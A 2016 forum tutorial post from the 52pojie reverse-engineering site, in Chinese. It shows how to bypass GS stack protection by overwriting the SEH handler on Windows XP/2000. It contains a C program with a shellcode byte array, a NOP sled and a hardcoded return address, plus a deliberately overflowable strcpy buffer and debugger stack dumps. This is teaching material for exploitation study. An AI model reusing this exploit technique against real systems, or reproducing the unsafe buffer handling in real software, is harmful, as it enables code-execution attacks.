吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8773|回复: 3
收起左侧

[调试逆向] 对抗GS之攻击异常处理突破GS

[复制链接]
wnagzihxain 发表于 2016-5-1 12:09
本帖最后由 wnagzihxain 于 2017-6-22 16:54 编辑

写在前面:如果您不知道什么是GS,或者没有接触过对抗GS相关请先看这篇文章:对抗GS之覆盖虚函数突破GS
环境:xp sp3,win 2000
工具:OD,VS2015
这依旧是根据《0day2》的代码进行调试,下面的代码我有做修改,您如果想跟着调试,建议先看完,再根据自己的PC进行修改
[C] 纯文本查看 复制代码
// attack_SEH.cpp : 定义控制台应用程序的入口点。
//

#include <stdafx.h>
#include <string.h>

char shellcode[] =
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90"
                "\xA0\xFE\x12\x00"//address of shellcode
;

void test(char * input)
{
        __asm int 3
        char buf[200];
        strcpy(buf, input);
        strcat(buf, input);
}

void main()
{
        test(shellcode);
}

拿到代码后,按照第一篇写的设置VS,我的win2000装不了VS,所以我在winxp下安装了

但是生成的exe还是在win2000下运行,不然safeSEH会有影响

然后在如图所示位置下个断点

1.png

Release版本的走起来,可以看到生成Security Cookie的代码,同时注意EAX和EBP,右下角我已经跳到了Security Cookie的位置了

2.png

然后往下看,可以看到这里是strcpy,ss:[ebp+8]是参数,也就是传进去shellcode的指针

然后第二个是目的地址,也就是在最开始开辟的栈空间的起始地址

3.png

我们先把栈布局复制下来,复制下来主要是好观察整个栈布局

[Asm] 纯文本查看 复制代码
0012FE94   003425B8
0012FE98   00000000
0012FE9C   000001F6
0012FEA0   00340000
0012FEA4   000001DD
0012FEA8   00343098
0012FEAC   00343090
0012FEB0   00340168
0012FEB4   77FCCCA4  返回到 ntdll.77FCCCA4 来自 ntdll.77F83235
0012FEB8   00340000
0012FEBC   00343090
0012FEC0   00000000
0012FEC4   00343098
0012FEC8  /0012FF0C
0012FECC  |00405342  返回到 attack_S.00405342 来自 ntdll.RtlSizeHeap
0012FED0  |00340000
0012FED4  |00000000
0012FED8  |0040534B  返回到 attack_S.0040534B 来自 attack_S.00402799
0012FEDC  |0BF59A7E
0012FEE0  |00343098
0012FEE4  |00343098
0012FEE8  |00000000
0012FEEC  |0012FF2C
0012FEF0  |77F81F55  ntdll.77F81F55
0012FEF4  |0012FEDC
0012FEF8  |0012FF60
0012FEFC  |00000004
0012FF00  |00000004
0012FF04  |00402193  返回到 attack_S.00402193
0012FF08  |00000001
0012FF0C  \00402147  attack_S.00402147
0012FF10   00402D9C  返回到 attack_S.00402D9C 来自 attack_S.0040216B
0012FF14   0034309C
0012FF18   00402A93  返回到 attack_S.00402A93 来自 ntdll.RtlLeaveCriticalSection
0012FF1C   0040B608  attack_S.0040B608
0012FF20   0012FF60
0012FF24   004014A0  返回到 attack_S.004014A0 来自 attack_S.00402A80
0012FF28   00000008
0012FF2C   00402E18  返回到 attack_S.00402E18 来自 attack_S.00401499
0012FF30   00402E12  返回到 attack_S.00402E12 来自 attack_S.00402799
0012FF34   0BF59A12
0012FF38   00000893
0012FF3C   00000002
0012FF40   77E63D36  KERNEL32.GetProcessHeap
0012FF44   00402147  attack_S.00402147
0012FF48   0012FF34
0012FF4C   49656E69
0012FF50   0012FFB0
0012FF54   004027B0  attack_S.004027B0
0012FF58   0BA7F6BA
0012FF5C   FFFFFFFE
0012FF60   0BF59A16
0012FF64  /0012FF70
0012FF68  |0040721D  返回到 attack_S.0040721D 来自 attack_S.004071C0
0012FF6C  |0040ACA0  attack_S.0040ACA0

4.png

运行之后就会溢出

5.png

但是我们观察栈的布局,发现shellcode的长度不够,并没有覆盖S.E.H

所以我们修改一下长度,这个长度根据你的虚拟机确定,但是不着急,顺便修改一下覆盖S.E.H的值

可以看到,目的地址是0x0012FE94,那么我们就需要用这个指针来覆盖S.E.H,这样处理异常的时候就会直接执行shellcode

6.png

当然这只是作为例子来演示,在实际的攻击中用固定地址是几乎不可能成功的事,因为每台pc都不一样,你怎么确定每次的buff地址都是我们这次设置的值?


免费评分

参与人数 2威望 +1 热心值 +2 收起 理由
Uhn + 1 谢谢@Thanks!
Hmily + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Uhn 发表于 2016-9-28 17:19
我一个都看不懂,毕竟我不会c,还有反汇编
头像被屏蔽
sstm 发表于 2016-12-7 12:12
你爷爷 发表于 2017-5-25 12:08
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 21:22

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表